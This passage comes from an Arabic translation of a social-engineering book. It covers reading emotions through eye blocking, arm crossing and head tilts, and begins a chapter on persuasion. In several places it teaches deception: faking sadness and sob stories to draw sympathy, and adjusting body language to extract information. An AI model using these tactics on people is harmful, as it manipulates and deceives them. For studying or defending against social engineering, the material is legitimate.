‫اﻟﺻﻌب ﻋﻠﯾك أن ﺗﺳﺄﻟﮫ‪ ،‬اﻧﺗزاع اﻟﺗﻌﺎطف ﻣن اﻟﺷﺧص‪ .‬أو ﻟﻧﻔﺗرض أﻧك ﻛﻧت ﺗﺣﻛﻲ ﻗﺻﺔ‪ ،‬وﺗﺣﺻل ﻋﻠﻰ ﺗﻔﺎﺻﯾل ﻋن اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﻗد ﺗﻔﻘد‬
‫وظﯾﻔﺗك إذا ﻟم ﯾﺗم اﻟﺣﺻول ﻋﻠﻰ ھذه اﻟﻣﮭﻣﺔ‪ .‬ﻋرض ﺑﻌض ﻋروض اﻟﺷﻔﺔ اﻟﺿﯾﻘﺔ ﯾﻣﻛﻧﮫ ان ﯾﺿﯾف وزﻧﺎ ﻟﻘﺻﺗك‪ ،‬واﻟﺗﻲ ﺗﺑﯾن ﻣدى اﻟﺻﻌوﺑﺔ‬
‫ﺑﺎﻟﻧﺳﺑﺔ ﻟك ﻟﺗﻘول ﻣﺎ ﻟدﯾك ﻟﺗﻘوﻟﮫ‪ .‬ﺳواء ﻛﻧت ﺗﺷﺎھد ھذه اﻟﻌﻼﻣﺎت أو ﺗﺳﺗﺧدﻣﮭﺎ‪ ،‬اﻟﺗﻌﻠم ﻋﻠﻰ اﻟﺗﻌرف ﻋﻠﻰ ﻣﻌﺎﻧﯾﮭﺎ ﯾﻣﻛن أن ﯾﺣدث ﻓرﻗﺎ ﻛﺑﯾرا‬
‫ﻓﻲ ﻧﺟﺎﺣك ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﺣﺠﺐ اﻟﻌﯿﻦ )‪(Eye Blocking‬‬
‫ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻋﻧدﻣﺎ ﯾﻛون ﺷﺧص ﻣﺎ ﯾﺷﻌر ﺑﺎﻟﺣزن ﻟﻠﻐﺎﯾﺔ‪ ،‬ﻓﺎﻧﮫ ﯾﻌﺻر ﻋﯾﻧﯾﮫ اﻟﻣﻐﻠﻘﺔ أو ﺣﺗﻰ ﯾﻐطﯾﮭم‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬
‫ﻟﻣﺎذا؟ ﺣﯾث ﺗﺳﺑب اﻻﺳﺗﺟﺎﺑﺔ اﻟﻔﺳﯾوﻟوﺟﯾﺔ ھذه ﻟﻧﺎ ﻣﻧﻊ أو ﺗﻐطﯾﺔ اﻟﻛﺎﺋن اﻟذي ﯾﺟﻌﻠﻧﺎ ﺣزﯾﻧﯾن‪ .‬ﯾﻣﻛن رؤﯾﺔ ھذا اﻟﻌرض ﻧﻔﺳﮫ ﻋﻧدﻣﺎ ﯾﻛون‬
‫اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟﺣزن وﻟﻛن ﻟﯾس اﻟﺷدﯾد وﻟﻛﻧﮫ ﯾﺣﺎول ﻣﻧﻊ اﻟﻛﺎﺋن اﻟذي ﯾﮭﯾﺞ‪ ،‬ﯾﺣزن‪ ،‬أو ﯾﻐﺿﺑﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪903‬‬

‫إذا ﻛﻧت ﺗرى ﺷﺧص ﻣﺎ ﻗﺎم ﺑﻌرض ھذه اﻟﻌﻼﻣﺔ‪ ،‬ﻓﺈﻧﮭﺎ ﻓﻛرة ﺟﯾدة ﻟﺗﺣﻠﯾل ﻣوﺿوع اﻟﻣﺣﺎدﺛﺔ‪ ،‬اﻟﺳؤال "ﻟﻣﺎذا" وﻣن ﺛم ﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ھو‬
‫اﻷﺳﺎس ﻟﮭذه اﻟﻌﺎطﻔﺔ‪.‬‬
‫ﻋﻧدﻣﺎ ﻛﻧت ﺻﻐﯾرا‪ ،‬ﻛﺎن ھﻧﺎك ﻧوع ﻣن اﻹھﺎﻧﺔ اﻷﻛﺛر ﺷﻌﺑﯾﮫ وھﻲ "أﻣك"‪ .‬ﯾﺑدو أﻧﮭﺎ ﺗﻧﺎﺳب أي ﺣﺎﻟﺔ‪ ،‬وﻋﻣوﻣﺎ ﺗﺟﻠب اﻻﺑﺗﺳﺎﻣﺎت واﻟﺿﺣك‪.‬‬
‫ذات ﻣرة ﻛﻧت ﻋﻧد ﺻدﯾﻖ ﻣﻘرب‪ ،‬وﻛﻧﺎ ﻧﺗداول اﻟﺷﺗﺎﺋم ﻋﻧدﻣﺎ رﻣﯾت "أﻣك"‪ .‬ﻟﻘد اﻟﺗﻘﯾت ﻣﻊ ﺷﻲء ﻣﺷﺎﺑﮫ ﻟﻠﺻورة ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل‬
‫اﻟﺳﺎﺑﻖ وﺑﻌد ذﻟك ﺑﻌض اﻟدﻣوع‪ .‬ﻛﻧت ﻗد ﻧﺳﯾت ذﻟك‪ ،‬ﻗﺑل أﺳﺎﺑﯾﻊ ﻓﻘط‪ ،‬أﻣﻲ ﺻدﯾﻘﻲ ﻗد ﻣﺎﺗت‪ .‬ﺗﺳﺑﺑت ﻣﻼﺣظﺗﻲ اﻟﺣﺳﺎﺳﺔ واﻟﻘﺎﺳﯾﺔ ﻟﮫ ﺑﺎﻟﺗﻔﻛﯾر‬
‫ﻓﻲ ﻓﻘداﻧﮭﺎ اﻟﻣؤﻟم‪ ،‬وﺣﺎوﻟت ﺣﺟب اﻟﮭدف ﻋن ذﻟك اﻷﻟم‪.‬‬
‫ﻣﺎ اﻟﺬي ﺳﻮف ﺗﺸﺎھﺪه )‪(What to Watch For‬‬
‫إذا ﻛﻧت ﺗرى ﻋروض ﺣﺟب اﻟﻌﯾن‪ ،‬وﻟم ﯾﻛن ﺳﺑﺑﮫ أي ﺷﻲء ﻣﻣﺎ ﻗﻠﺗﮫ‪ ،‬ﻓﺄﻓﺿل ﺳؤال ﯾﺳﺄل ھو‪" :‬ھل ﻛل ﺷﻲء ﺑﺧﯾر؟" ﻟﯾس ھﻧﺎك أﺳرع‬
‫طرﯾﻘﺔ ﻟﺑﻧﺎء ﻋﻼﻗﺔ ﻣﻊ ﺷﺧص آﺧر ﻣن ﻣﻼﺣظﺔ اﻷﻟم اﻟﺷﺧص وإظﮭﺎر اﻻھﺗﻣﺎم‪.‬‬
‫ﺣﯾث أﻧﮫ رھﯾب ﻛﻣﺎ ﯾﺑدو‪ ،‬ﯾﻣﻛن أﯾﺿﺎ اﺳﺗﺧدام ھذا اﻟﻌرض ﻻﻧﺗزاع اﻟﺗﻌﺎطف ﻣن اﻟﻧﺎس‪ .‬ﻋرض ھذا اﻟﻌرض ﺑﻣﮭﺎرة ﻓﻲ اﻟوﻗت اﻟﻣﻧﺎﺳب‬
‫ﯾﻣﻛن ﺧﻠﻖ ﺷﻌور ﻣن اﻟﺣزن وﯾﺗﺳﺑب ﻓﻲ اﻗﺗراب ﺷﺧص ﻣﺎ ﻣﻧك وﺑﺳﺎﻟك ھل ﻛل ﺷﻲء ﺟﯾد‪ .‬اﻟرﺟل اﻟﻣﺧﺎدع واﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗد‬
‫اﺳﺗﺧدﻣوا اﻟﺗﻌﺎطف ﺣﯾث ﺳﺎﻋدﺗﮭم ﻓﻲ ﻣواﺿﯾﻌﮭم ﻟﺳﻧوات‪.‬‬
‫‪Self-Comforting and Head Tilts‬‬
‫أﻧﺎ داﺋﻣﺎ أﺟد ھذا اﻟﺟزء ﻣﺛﯾر ﻟﻼھﺗﻣﺎم‪ .‬ﻓﻲ ﻋﺎم ‪ ،1980‬ﻣﺎ ﯾﺳﻣﻰ "ﻣﻌﻠﻣو اﻟﻣﺑﯾﻌﺎت )‪ "(sales gurus‬اﺳﺗﺧدﻣوا ﻟﺗﻌﻠﯾم ھذا ﻣﺛﻼ إذا ﻗﺎم‬
‫ﺷﺧص ﺑﻌﻘد ذراﻋﯾﮫ‪ ،‬ﻓﮭذا ﯾﻌﻧﻲ اﻧﮫ ﻏﯾر ﻣﮭﺗم وﻣﻐﻠﻖ‪ .‬وﻗد ﺳﺎﻋدت اﻷﺑﺣﺎث ﻓﻲ أن ﻧرى أن ھذا اﻻﺳﺗﻧﺗﺎج ﺧﺎطﺊ‪ .‬ﺑﻌض اﻟﻧﺎس ﯾﻘﻔون ھذا‬
‫اﻟﻘﺑﯾل ﻷﻧﮫ ﺑﺑﺳﺎطﺔ ﯾﺷﻌر ﺑﻐﯾر ﻣرﯾﺢ‪ ،‬واﻟﺑﻌض اﻵﺧر ﻷﻧﮭم ﯾﺷﻌرون ﺑﺎﻟﺑرد‪ ،‬واﻟﺑﻌض اﻵﺧر ﺗﻛون ﻋﺎدة ﻋﻧدھم‪.‬‬
‫ﻟﻛن ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﻧﻧظر ﻟﺷﻲء اﺧر ﯾﻣﻛن أن ﯾﺳﺎﻋدﻧﺎ ﻓﻲ ﺗﺣدﯾد ﺗﻐﯾﯾر اﻟﺷﺧص ﻓﻲ اﻟﻌﺎطﻔﺔ ﻣن ﺧط اﻷﺳﺎس‪ .‬اﻟﻧﺳﺎء أﺳﺎﺳﺎ ﺗﺗﺧذ‬
‫ھذا اﻟوﺿﻊ واﻟذي ﯾﻌﺗﺑر إراﺣﺔ ذاﺗﯾﮫ )‪ .(Self-Comforting‬ﺣﯾث ﯾﻘوﻣوا ﺑﻌﻘد أذرﻋﮭم ﻋﺑر اﺟﺳﺎدھم‪ ،‬ﺗﺣت ﺻدورھن‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫اﻟﻣﻔﺗﺎح ھﻧﺎ ھﻲ اﻟﻣﻼﺣظﺔ إذا ﺑدا اﻟﻌرض ﻋﻧد ﻧﻘطﺔ ﻣﻌﯾﻧﺔ‪ .‬اﻓﺗرض أﻧك ﺗﻘﺗرب ﻣن ﻣﺟﻣوﻋﺔ وﻻﺣظت اﻣرأة ﺗﻘف ﻣﻊ ذراﻋﯾﮭﺎ ﻋﻠﻰ ﺟﺎﻧﺑﯾﮭﺎ‪.‬‬
‫اﻧﮭﺎ ﺗراك ﻗﺎدﻣﺎ ﻓﻌﻘدت ذراﻋﯾﮭﺎ )‪ .(cross arms‬ﻗد ﺗﻛون ھذه ﻧﻘطﺔ ﺟﯾدة ﻟﺗﺣﻠﯾل ﻧﮭﺟﻛم ﻟﻣﻌرﻓﺔ ﻣﺎ ﻛﺎن ﺳﺑب ﻋدم اﻟراﺣﺔ ﻟﮭﺎ‪.‬‬
‫ﻣراﺟﻌﺔ اﻟظروف‪ ،‬اﻟﻣﻧﺎطﻖ اﻟﻣﺣﯾطﺔ ﺑﮭﺎ‪ ،‬وﻣﺎ ﻗد ﺗﻐﯾر ﯾﻣﻛن أن ﯾﻌطﯾك ﻣؤﺷرا ﺟﯾدا ﻋﻠﻰ اﻟﺗﻐﯾرات اﻟﻌﺎطﻔﯾﺔ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ﺳوف‬
‫ﯾﻘوم ﺑﺗﺣﻠﯾل ﻣﺳﺗوى ﻋدم اﻟراﺣﺔ ﻟدى اﻟﺷﺧص‪ ،‬ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺗﺣدﯾد اﻟﺳﺑب ﻣن ﺧﻼل اﻟﻣﻼﺣظﺔ واﻷﺳﺋﻠﺔ‪ ،‬وﻣن ﺛم اﻟﺿﺑط وﻓﻘﺎ ﻟذﻟك‪.‬‬

‫آﺧر ﻋرض ﻋن اﻟراﺣﺔ ﺳﺄﻧﺎﻗﺷﮫ ﻓﻲ ھذا اﻟﻔﺻل ھو ﻣﯾل اﻟرأس )‪ .(head tilts‬ھذا اﻟﻣﻔﮭوم ھو ﻣﻣﺎﺛل ﻠ ‪ .open ventral displays‬إﻣﺎﻟﺔ‬
‫اﻟرأس ﺟﯾدا‪ ،‬ﻣﻊ اﺑﺗﺳﺎﻣﺔ‪ ،‬ھو أداة ﻗوﯾﺔ‪ .‬ﻓﻘط ﺗذﻛر أن اﻻﺑﺗﺳﺎﻣﺔ ﯾﺟب أن ﺗﻛون ﺣﻘﯾﻘﯾﺔ‪ ،‬وﯾﺟب أن ﺗﻛون إﻣﺎﻟﺔ اﻟرأس ﺧﻔﯾﺔ‪ .‬وھﻧﺎك اﻻﺑﺗﺳﺎﻣﺔ‬
‫ﻣزﯾﻔﺔ ﻣﻊ إﻣﺎﻟﺔ رأس ﺷدﯾده ﺗﺟﻌﻠك ﺗﺑدو ﻣﺧﺗل‪ ،‬وﻟﯾس ﺟدﯾرا ﺑﺎﻟﺛﻘﺔ‪ .‬ﻟﻛن اﻟزاوﯾﺔ اﻟﻣﻧﺎﺳﺑﺔ ﺳوف ﺗﻌطﯾك ﺷﻌور ﻗوي ﻣن اﻟﺛﻘﺔ واﻟود‪ ،‬ﻛﻣﺎ ھو‬
‫ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪904‬‬

‫ھﻧﺎ ﺑن ﯾﻘوم ﺑﻌرض اﺑﺗﺳﺎﻣﺔ ﺣﻘﯾﻘﯾﺔ‪ ،‬وإﻣﺎﻟﺔ رأس ﺧﻔﯾﺔ‪ .‬ھذا اﻟﻌرض ﯾﻘول‪" :‬أﻧﺎ أﺛﻖ ﺑك‪ ،‬وأﻧﺎ ﺳﻌﯾد ﻟرؤﯾﺗك‪ ،‬ﻟذﻟك ﯾﻣﻛﻧك اﻟﺛﻘﺔ ﺑﻲ"‪ .‬ھذا‬
‫اﻟﻌرض ﻋن اﻋﻠﻰ درﺟﺎت اﻟراﺣﺔ‪ ،‬ﯾﺧﻠﻖ ﺷﻌورا ﺑﺎﻟدفء ﻓﻲ اﻟﺷﺧص اﻟذي ﺗﺗﻔﺎﻋل ﻣﻌﮫ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ .‬ھذا اﻟﻌرض ﯾﻘول‬
‫ﻟﻠﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ‪" ،‬أﻧﺎ أﺛﻖ ﺑك‪ ،‬ﺣﺗﻰ ﺗﺗﻣﻛن ﻣن اﻟﺛﻘﺔ ﺑﻲ"‪.‬‬

‫ﺳﯾﻠﯾﻧﺎ ﺳﻌﯾد‪ ،‬واﺛﻘﮫ‪ ،‬وﻋﻠﻰ اﺳﺗﻌداد ﻟﻠﻣﺷﺎرﻛﺔ ﻓﻲ ھذه اﻟﻌﻼﻗﺔ‪ .‬ﯾﻣﻛﻧك أن ﺗرى أن وﺟﮭﮭﺎ ﻛﻠﮫ ﯾﺷﺎرك ﻓﻲ اﻻﺑﺗﺳﺎﻣﺔ‪ ،‬ﻣﻊ إﻣﺎﻟﺔ اﻟرأس ﻟﮭﺎ‪،‬‬
‫وﻟﯾﺳت ﺧﻔﯾﻔﺔ ﻛﻣﺎ ﻓﻲ ﺑن‪ ،‬ﺣﯾث ﺗﻘول إﻧﮭﺎ ﻣﻧﻔﺗﺣﺔ‪.‬‬
‫ﺧﻠط إﻣﺎﻟﺔ اﻟرأس واﻻﺑﺗﺳﺎﻣﺔ ﻣﻊ ‪ open ventral display‬ھو ﺗﻛﺗﯾك ﻗوي‪ .‬ﻛﺎن اﻟرﺋﯾس اﻷﻣرﯾﻛﻲ اﻟﺳﺎﺑﻖ ﺑﯾل ﻛﻠﯾﻧﺗون ﯾﺳﺗﺧدم ھذا اﻟﺗﻛﺗﯾك‪.‬‬
‫ﺣﯾث ﻛﺎن ﯾرﻓﻊ ﻛﻔﯾﮫ‪ ،‬ﻣﻊ اﺑﺗﺳﺎﻣﮫ‪ ،‬وإﻣﺎﻟﺔ رأﺳﮫ‪ ،‬وﯾدﻋوك ﻟﻼﻧﺿﻣﺎم اﻟﻰ ھذه اﻟﻘﺿﯾﺔ‪ .‬ﻓﺎز ﻓﻲ ﻗﻠوب اﻟﺷﻌب اﻷﻣرﯾﻛﻲ ﺑﺎﺳﺗﺧدام ھذا اﻟﻌرض‬
‫اﻟﻐﯾر ﻟﻔظﻲ‪.‬‬
‫ﻛﻣﺎ ﺣﺎوﻟت ﻧﺎﺋﺑﺔ اﻟﻣرﺷﺢ اﻟرﺋﺎﺳﻲ اﻟﺳﺎﺑﻖ ﻟﻠوﻻﯾﺎت اﻟﻣﺗﺣدة ﺳﺎره ﺑﺎﻟﯾن اﺳﺗﺧدام ھذا اﻟﻌرض‪ .‬ﻛﺎن ﻟدﯾﮭﺎ اﺑﺗﺳﺎﻣﺔ ﻛﺑﯾرة وإﻣﺎﻟﺔ اﻟرأس ﺟﯾده‪،‬‬
‫وﻟﻛن ﻋﻧدﻣﺎ ﺗﺳﺗﺧدم ‪ ،open ventral displays‬ﻓﺈﻧﮭﺎ ﻛﺛﯾرا ﻣﺎ ﺗﺿﯾف ھز اﻟﻛﺗﻔﯾن )‪ (shrug‬إﻟﻰ ھذا اﻟﻣزﯾﺞ‪ .‬ﻣﻣﺎ ﺟﻌﻠت ھذه اﻟﺑﺎدرة‬
‫اﻟواﺣدة ﯾﺑدو ﻋﻠﯾﮭﺎ أﻧﮭﺎ ﻏﯾر ﻣﺗﺄﻛدة ﻣن ﻧﻔﺳﮭﺎ ورﺳﺎﻟﺗﮭﺎ‪.‬‬
‫ﻣﺎ اﻟﺬي ﺳﻮف ﺗﺸﺎھﺪه )‪(What to Watch For‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺗرﻏب ﻓﻲ ﻣﺷﺎھدة ﻧﻔﺳك ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﮭذا اﻟﻌرض‪ .‬ﻋﻧدﻣﺎ ﺗﻛون ﻋﺻﺑﯾﺎ‪ ،‬ﻓﺈﻧك ﺗﺻﺑﺢ ﻣﺗوﺗرا‪ ،‬وھذا اﻟﺗوﺗر ﺳوف‬
‫ﯾﺟﻌﻠك ﺗﺑدو ﺻﻠب وﻗﺎﺳﻲ‪ .‬إذا ﻛﻧت ﻣﺗوﺗر‪ ،‬ﻓﻠن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ إﻋطﺎء إﻣﺎﻟﺔ اﻟرأس اﻟﺟﯾدة ﻣﻊ اﻻﺑﺗﺳﺎﻣﺔ اﻟﺣﻘﯾﻘﯾﺔ‪ .‬ﻟذﻟك‪ ،‬ﺷﺎھد أوﻻ اﻟﻌروض‬
‫اﻟﺧﺎﺻﺔ ﺑك وﺗﺄﻛد ﻣن إﻧك ﺗﺑﯾن اﻟﻌواطف اﻟﻣﻧﺎﺳﺑﺔ ﻟﻠذرﯾﻌﺔ اﻟﺧﺎص ﺑك‪.‬‬
‫أﻧﺎ أﻋﻠم أﻧﻰ ﻗﻠت ھذا ﻛﺛﯾرا ﻓﻲ ھذا اﻟﺑﺎب‪ ،‬ﻟﻛن ﻻ أﺳﺗطﯾﻊ ان اﻗول ﻟﻛم ﻛم ھو ﻣﮭم أن ﺗراﻗب ﺑﺎﺳﺗﻣرار اﻟﺗﻐﯾﯾرات اﻟطﻔﯾﻔﺔ ﻓﻲ ﺧط اﻷﺳﺎس‬
‫اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻛون اﻟﺑﻘﻌﺔ اﻟﺳﺎﺧﻧﺔ‪ .‬ﻣؤﺧرا أﺧﺑرﺗﻧﻲ زوﺟﺗﻲ ﻋن اﻟﺣﺎﻟﺔ اﻟﺗﻲ ﺗﻛون ﻋﻠﯾﮭﺎ ﻣﻊ ﺑﻌض اﻷﺻدﻗﺎء‪ .‬ﺑﯾﻧﻣﺎ ﺗﺣﻛﻲ ﻗﺻﺔ‪ ،‬ﻛﺎﻧت ﻟدﯾﮭﺎ‬
‫اﺑﺗﺳﺎﻣﺔ داﻓﺋﺔ‪ ،‬وﻛﺎﻧت ﻣﻧﻔﺗﺣﺔ‪ .‬ﺳﺄﻟﺗﮭﺎ ﻋن ﺷﺧص ﻣﻌﯾن‪ ،‬ﻓﻌﺑرت ﺑذراﻋﯾﮭﺎ أﻣﺎم ﻋﯾﻧﯾﮭﺎ‪ ،‬ﺧﻔﺿت ﺻوﺗﮭﺎ وأﺻﺑﺣت أﻛﺛر ﺻﻼﺑﺔ‪ .‬ﻓﻲ ﺗﻠك‬
‫اﻟﻣرﺣﻠﺔ‪ ،‬ﻛﻧت أﻋرف ﺷﯾﺋﺎ ﻗد ﺣدث ﺑﯾﻧﮭﻣﺎ‪ ،‬وﻟﻛن ﻛﻧت أﻋرف أﯾﺿﺎ أﻧﻧﻲ ﻻ ﯾﻣﻛن أن أﺳﺎل ﻓﻘط‪" ،‬ﻣﺎذا ﺣدث؟"‬
‫ﻓﻘﻠت ﻟﮭﺎ‪" :‬ﻣﮭﻼ‪ ،‬ھل أﻧت ﺑﺧﯾر؟ ﯾﺑدو أﻧك ﻣﺗوﺗرة "‪.‬‬
‫"ﺣﺳﻧﺎ ‪ ،"...‬ھﻲ اﻻن ﺗﻔﻛر ﻓﻲ أن ﺗﻘول ﻟﻲ أم ﻻ‪ " ،‬ﻓﻲ اﻟواﻗﻊ‪ .‬اﺳﻣﺢ ﻟﻲ ان اﻗول ﻟﻛم ﻣﺎ ﺣدث"‪ ،‬وﺣﺻﻠت ﻋﻠﻰ اﻟﻘﺻﺔ ﻛﺎﻣﻠﺔ‪ .‬ﻛوﻧك ﻣﺗﺄھﺑﺎ ً‬
‫ﻷي ﺗﻐﯾرات ﻓﻲ اﻟﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ ﯾﻌطﯾك ﻣﺎ ﯾﻛﻔﻲ ﻟﺗﻐﯾﯾر ﻟﻐﺔ ﺟﺳدك‪ ،‬ﺛم ﺗﻐﯾﯾر أﺳﻠوب اﻟﺗﺧﺎطب ﻻﻧﺗزاع اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪905‬‬

‫‪Human-Based SE: Influence: The Power of Persuasion‬‬

‫إذا ﻛﻧت ﺗرﯾد اﻹﻗﻧﺎع‪ ،‬ﻓﯾﺟب أن ﺗﻧﺎﺷد اﻟﻔﺎﺋدة ﺑدﻻ ﻣن اﻟﻌﻘل‪.‬‬

‫‪If you would persuade, you must appeal to interest rather than intellect‬‬
‫ﺑﻧﺟﺎﻣﯾن ﻓراﻧﻛﻠﯾن‬
‫ھذه اﻟﻛﺗﺎﺑﺔ اﻟﻣﻧﻘوﺷﺔ ﺗﻠﺧص ھذا اﻟﻔﺻل ﺑﺄﻛﻣﻠﮫ‪ .‬اﻧت ﻣن اﻟﻣﻣﻛن أن ﺗﺗﺳﺎءل ﻟﻣﺎذا ﻟم ﺗﺷﻣل ھذه اﻟﻣﻧﺎﻗﺷﺔ داﺧل اﻟﺟزء اﻟﺳﺎﺑﻖ ﻣن اﻟﻣﺑﺎدئ‬
‫اﻟﻧﻔﺳﯾﺔ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻋﻠم اﻟﻧﻔس ھو ﻋﻠم وﻣﺟﻣوﻋﺔ ﻣن اﻟﻘواﻋد اﻟﻣوﺟود ﻓﯾﮫ ﺣﯾث إذا ﺗم إﺗﺑﺎﻋﮭﺎ‪ ،‬ﻓﺳوف ﺗﺳﻔر ﻋن ﻧﺗﯾﺟﺔ‪ .‬ﻋﻠم ﻧﻔس‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو ﻋﻠم وﺣﺳﺎب‪.‬‬
‫اﻟﺗﺄﺛﯾر )‪ (Influence‬واﻹﻗﻧﺎع )‪ (persuasion‬ھﻲ ﻣﺛل اﻟﻛﺛﯾر ﻣن اﻟﻔن اﻟذي ھﻲ ﻣدﻋوﻣﺔ ﺑﺎﻟﻌﻠم‪ .‬اﻹﻗﻧﺎع واﻟﺗﺄﺛﯾر ﺗﺷﻣل اﻟﻌواطف‬
‫واﻟﻣﻌﺗﻘدات‪ .‬ﻛﻣﺎ ﻧوﻗش ﻓﻲ ﺑﻌض اﻻﺟزاء اﻟﺳﺎﺑﻘﺔ‪ ،‬ﻋﻠﯾك أن ﺗﻌرف ﻛﯾف وﻣﺎذا ﯾﻔﻛر اﻟﻧﺎس‪.‬‬
‫اﻟﺗﺄﺛﯾر وﻓن اﻹﻗﻧﺎع ھو ﻋﻣﻠﯾﺔ اﻟﺣﺻول ﻋﻠﻰ ﺷﺧص آﺧر ﺗرﯾده أن ﯾﻔﻌل‪ ،‬ﯾﺗﻔﺎﻋل‪ ،‬ﯾﻌﺗﻘد‪ ،‬أو ﯾؤﻣن ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾدھﺎ ﻟﮫ‪ .‬إذا ﻛﻧت ﺑﺣﺎﺟﺔ‬
‫إﻟﻰ ذﻟك‪ ،‬ﻓﻌﯾد ﻗراءة اﻟﺟﻣﻠﺔ اﻟﺳﺎﺑﻘﺔ‪ .‬رﺑﻣﺎ ھﻲ واﺣده ﻣن أﻗوى اﻟﺟﻣل ﻓﻲ ھذا اﻟﻛﺗﺎب ﻛﻠﮫ‪ .‬وھذا ﯾﻌﻧﻲ أن اﺳﺗﺧدام اﻟﻣﺑﺎدئ اﻟﻣذﻛورة ھﻧﺎ‪،‬‬
‫ﺳوف ﺗﻛون ﻗﺎدر ﻋﻠﻰ ﺗﺣرﯾك اﻟﺷﺧص ﻋﻠﻰ اﻟﺗﻔﻛﯾر‪ ،‬اﻟﻔﻌل‪ ،‬ورﺑﻣﺎ ﺣﺗﻰ اﻻﻋﺗﻘﺎد ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾدھﺎ ﻟﮫ ﻷﻧﮫ ﯾرﯾد ذﻟك‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﯾﺳﺗﺧدم ﻓن اﻻﻗﻧﺎع ﻛل ﯾوم‪ ،‬وﻟﻸﺳف اﻟﻣﺣﺗﺎﻟﯾن اﻟﺧﺑﺛﺎء ﯾﺳﺗﺧدﻣوﻧﮭﺎ أﯾﺿﺎ‪.‬‬
‫ﺑﻌض اﻟﻧﺎس ﺧﺻﺻت ﺣﯾﺎﺗﮭم ﻟﻠﺑﺣث واﻟدراﺳﺔ‪ ،‬واﺗﻘﺎن ﻓن اﻟﺗﺄﺛﯾر‪ .‬ﺳﺎھم ﻓﻲ ذﻟك اﻟدﻛﺗور إﻟﯾن ﻻﻧﺟر‪ ،‬روﺑرت ﺳﯾﺎﻟدﯾﻧﻰ‪ ،‬وﻛﯾﻔﯾن ھوﺟﺎن‬
‫ﺣﯾث ﯾﻌﺗﺑروا ﻣﺳﺗودع ﻛﺑﯾر ﺟدا ﻣن اﻟﻣﻌرﻓﺔ ﻓﻲ ھذا اﻟﻣﺟﺎل‪ .‬ﻣزج ھذه اﻟﻣﻌرﻓﺔ ﻣﻊ أﺑﺣﺎث وﺗﻘﻧﯾﺎت ‪) NLP‬ﺑرﻣﺟﺔ ﻋﺻﺑﯾﺔ( ﻟﻠﺑﺎﺣﺛﯾن ﺑﺎﻧدﻟر‪،‬‬
‫ﺟرﻧدر‪ ،‬وﻣؤﺧرا ﺟﯾﻣﻲ ﺳﻣﺎرت‪ ،‬وﻣﺎ ﻟدﯾك ﺗﻌﺗﺑر وﺻﻔﺔ ﻟﺗﺻﺑﺢ ﻓﻧﺎن ﺣﻘﯾﻘﻲ‪.‬‬
‫اﻟﺗﺄﺛﯾر اﻟﺣﻘﯾﻘﻲ ھو أﻧﯾﻖ وﺳﻠس ﻓﻲ ﻣﻌظم اﻟوﻗت وﻻ ﯾﻣﻛن اﻛﺗﺷﺎﻓﮫ أﻧﮫ واﻗﻊ ﺗﺣت ﻣظﻠﺔ ھذا اﻟﺗﺄﺛر‪ .‬ﻋﻧدﻣﺎ ﺗﺗﻌﻠم اﻷﺳﺎﻟﯾب ﻓﺈﻧك ﺳوف ﺗﺑدأ ﻓﻲ‬
‫ﻣﻼﺣظﺗﮫ ﻓﻲ اﻹﻋﻼﻧﺎت اﻟﺗﺟﺎرﯾﺔ‪ ،‬ﻋﻠﻰ ﻟوﺣﺎت اﻹﻋﻼﻧﺎت‪ ،‬وﻋﻧد اﺳﺗﺧداﻣﮭﺎ ﻣن ﻗﺑل ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪ .‬ﺳوف ﺗﺑدأ ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ اﺛﺎر‬
